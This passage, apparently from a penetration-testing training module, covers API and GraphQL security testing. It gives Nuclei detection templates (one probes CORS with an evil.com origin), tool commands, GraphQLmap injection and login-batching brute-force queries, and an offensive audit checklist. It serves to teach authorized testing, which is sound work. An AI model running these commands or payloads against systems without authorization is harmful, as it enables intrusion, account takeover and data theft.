id: api-cors-misconfiguration
info:
name: API CORS Misconfiguration
author: cipher
severity: high
description: Tests for permissive CORS that reflects arbitrary origins with credentials.
tags: api,cors,misconfiguration
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/me"
headers:
Origin: https://evil.com
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Access-Control-Allow-Origin: https://evil.com"
- type: word
part: header
words:
- "Access-Control-Allow-Credentials: true"
8.7 API Version Downgrade Template
id: api-version-downgrade
info:
name: API Version Downgrade Detection
author: cipher
severity: medium
description: Discovers old API versions that may lack current security controls.
tags: api,versioning,owasp-api9
http:
- method: GET
path:
- "{{BaseURL}}/api/v0/users"
- "{{BaseURL}}/api/v1/users"
- "{{BaseURL}}/api/v2/users"
- "{{BaseURL}}/api/beta/users"
- "{{BaseURL}}/api/internal/users"
- "{{BaseURL}}/api/legacy/users"
- "{{BaseURL}}/api/test/users"
matchers-condition: and
matchers:
- type: status
status:
- 200
- 301
- 302
extractors:
- type: dsl
dsl:
- '"Found: " + matched_url + " (Status: " + status_code + ")"'
8.8 Sensitive Data in URL Template
id: api-credentials-in-url
info:
name: API Credentials Exposed in URL
author: cipher
severity: high
description: Detects API keys, tokens, or passwords passed as URL query parameters.
tags: api,credentials,information-disclosure
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: regex
part: all
regex:
- '(api[_-]?key|api[_-]?secret|token|password|passwd|secret|access[_-]?key)=[^&\s]{8,}'
9. Tooling Arsenal
9.1 GraphQL Security Tools
| Tool | Purpose | Key Command |
|---|---|---|
| GraphQL Cop | Security auditing (12 checks) | python3 graphql-cop.py -t https://target/graphql |
| Clairvoyance | Schema reconstruction without introspection | clairvoyance https://target/graphql -o schema.json |
| GraphQLmap | Exploitation engine (injection, fuzzing, batching) | graphqlmap -u https://target/graphql --method POST |
| InQL | Burp Suite extension for GraphQL testing | Burp Extension |
| BatchQL | Batch query testing | Standalone tool |
| graphql-voyager | Schema visualization | Web UI |
GraphQL Cop — Full Audit Checks:
- Alias Overloading (DoS)
- Batch Queries (DoS)
- GET-based Queries (CSRF)
- POST with URL-encoded payloads (CSRF)
- Tracing/Debug Modes (Info Disclosure)
- Field Duplication (DoS)
- Field Suggestions (Info Leak)
- GraphiQL Interface (Info Exposure)
- Introspection Queries (Schema Enumeration)
- Directives Overloading (DoS)
- Circular Query via Introspection (DoS)
- Mutation Support over GET (CSRF)
# Full scan with proxy for Burp intercept
python3 graphql-cop.py -t https://target.com/graphql \
--proxy=http://127.0.0.1:8080 \
--header '{"Authorization": "Bearer <token>"}' \
-o json
# Exclude specific tests
python3 graphql-cop.py -t https://target.com/graphql \
-e alias_overloading,field_duplication
# Via Tor
python3 graphql-cop.py -t https://target.com/graphql -T
GraphQLmap — Exploitation Commands:
# Launch
graphqlmap -u https://target.com/graphql --method POST --headers '{"Authorization":"Bearer token"}'
# Inside interactive console:
dump_new # Dump schema, populate autocomplete
{query{users{id,email,password}}} # Execute queries
# Field fuzzing with character brute-force
{query{users(name:"GRAPHQL_CHARSET"){id}}}
# Numeric ID enumeration
{query{user(id:GRAPHQL_INCREMENT_1){email}}}
# NoSQL injection
nosqli {query{user(name:"BLIND_PLACEHOLDER"){id}}}
# SQL injection
postgresqli {query{user(name:"BLIND_PLACEHOLDER"){id}}}
# Batch bypass
{query{login(user:"admin",pass:"BATCHING_50"){token}}}
9.2 REST API Tools
| Tool | Purpose | Key Command |
|---|---|---|
| Kiterunner | API endpoint discovery | kr scan target.txt -A=apiroutes-210228:20000 |
| Amass | Attack surface mapping | amass enum -d target.com |
| Arjun | Hidden parameter discovery | arjun -u https://api.target.com/v1/users |
| ParamSpider | Parameter mining from archives | paramspider -d target.com |
| jwt_tool | JWT analysis and attack | python3 jwt_tool.py <token> -X a |
| Autorize | BOLA/BFLA testing (Burp) | Burp Extension |
| ffuf | Fuzzing | ffuf -u URL/FUZZ -w wordlist.txt |
| Postman/Insomnia | API interaction | GUI |
9.3 API Security Scanners
| Tool | Purpose | Notes |
|---|---|---|
| Nuclei | Template-based scanning | Custom API templates above |
| OWASP ZAP | API scanning (OpenAPI import) | Free, extensible |
| Burp Suite Pro | Comprehensive API testing | Industry standard |
| Akto | API security platform | Automated BOLA/auth testing |
| 42Crunch | OpenAPI audit | Schema-level security analysis |
10. API Security Checklist — Offensive Audit
Use this checklist when testing any API. Items marked with ATT&CK IDs where applicable.
Authentication [T1078]
- Test for credential stuffing (no lockout/CAPTCHA)
- Test for brute force (no rate limiting)
- Test for weak password acceptance
- Test JWT
alg:noneacceptance - Test JWT algorithm confusion (RS256->HS256)
- Test JWT secret strength (hashcat -m 16500)
- Test JWT JWK/JKU/KID injection
- Test JWT claim tampering (sub, role, exp)
- Test token reuse after logout
- Test token reuse from different IP/device
- Test API key-only auth on sensitive endpoints
- Test for predictable tokens/session IDs
- Verify re-authentication for sensitive operations (email change, password reset)
Authorization [T1548]
- BOLA: Test every endpoint with object IDs using another user's token
- BOLA: Test across HTTP methods (GET/PUT/PATCH/DELETE)
- BOLA: Test with sequential IDs, UUIDs from other responses, base64-decoded IDs
- BFLA: Test user-level token against admin endpoints
- BFLA: Test HTTP method switching (GET->POST, POST->DELETE)
- BFLA: Test admin path guessing (/admin/, /internal/, /manage/)
- Mass Assignment: Inject privileged fields (role, isAdmin, verified, credits)
- Mass Assignment: Test prototype pollution (proto, constructor)
- Test horizontal privilege escalation (user A accessing user B's resources)
- Test vertical privilege escalation (user accessing admin functions)
Input Validation [T1190]
- SQL injection in all parameters
- NoSQL injection (MongoDB operators: $gt, $ne, $regex)
- GraphQL injection via arguments
- XXE via XML content type
- SSRF via URL parameters (webhooks, imports, previews)
- Command injection in processing parameters
- Path traversal in file/resource parameters
- Server-side parameter pollution
- Unicode/encoding bypass attempts
- Oversized payload handling (413 or crash?)
GraphQL-Specific
- Introspection enabled?
- Introspection bypass (whitespace, GET method, content-type)
- Field suggestion enumeration (Clairvoyance)
- Alias-based batching for brute force
- Array-based query batching
- Query depth attack (DoS)
- Field duplication attack (DoS)
- Directive overloading (DoS)
- Circular introspection query (DoS)
- GraphiQL/Playground exposed?
- Mutations via GET (CSRF)
- IDOR via node/nodes queries
- Debug/tracing mode enabled?
Rate Limiting & Resource Consumption
- Missing rate limits on auth endpoints
- Rate limit bypass via IP rotation headers (X-Forwarded-For)
- Rate limit bypass via endpoint URL variation
- Rate limit bypass via GraphQL batching
- Missing pagination limits (request all records)
- Missing upload size limits
- Missing execution timeouts
- Third-party API cost amplification (SMS, email, cloud)
Configuration & Information Disclosure
- CORS misconfiguration (reflected origin + credentials)
- Verbose error messages (stack traces, internal paths)
- Missing security headers (CSP, HSTS, X-Frame-Options)
- Unnecessary HTTP methods enabled (TRACE, OPTIONS)
- Debug endpoints exposed (/actuator, /health, /metrics, /env)
- API documentation publicly accessible
- Old/beta API versions running with weaker security
- Credentials/tokens in URL query parameters
Business Logic
- Workflow state bypass (skip steps in multi-step processes)
- Race conditions on coupon/credit redemption
- Automated abuse of business flows (scalping, spam, referral fraud)
- Price/quantity manipulation in order flows
- Time-of-check/time-of-use (TOCTOU) on authorization
11. Training Labs & Resources
Hands-On Labs
- PortSwigger Web Security Academy — GraphQL Labs and API Testing Labs
- OWASP crAPI — Completely Ridiculous API (purpose-built vulnerable API): https://github.com/OWASP/crAPI
- DVGA — Damn Vulnerable GraphQL Application: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
- VAmPI — Vulnerable API based on OWASP Top 10: https://github.com/erev0s/VAmPI
- APISec University — Free courses at https://www.apisecuniversity.com/
Reference Material
- OWASP API Security Top 10 (2023)
- OWASP REST Security Cheat Sheet
- OWASP GraphQL Cheat Sheet
- OWASP JWT Cheat Sheet
- OWASP Microservices Security Cheat Sheet
Wordlists (SecLists)
Discovery/Web-Content/api/api-seen-in-wild.txt— API paths from productionDiscovery/Web-Content/api/api-endpoints.txt— General API patternsDiscovery/Web-Content/api/api-endpoints-res.txt— Combined actions + objectsDiscovery/Web-Content/api/actions.txt— API verb wordlistDiscovery/Web-Content/api/objects.txt— API noun wordlist
Tool Repositories
- GraphQL Cop — Automated GraphQL security auditing
- Clairvoyance — GraphQL schema reconstruction
- GraphQLmap — GraphQL exploitation engine
- Kiterunner — API endpoint discovery
- OWASP Amass — Attack surface mapping
- API Security Checklist — Defensive reference
CIPHER Training Module Complete. This document covers offensive API testing from reconnaissance through exploitation with detection opportunities throughout. Apply against authorized targets only. Scope assumptions flagged where relevant.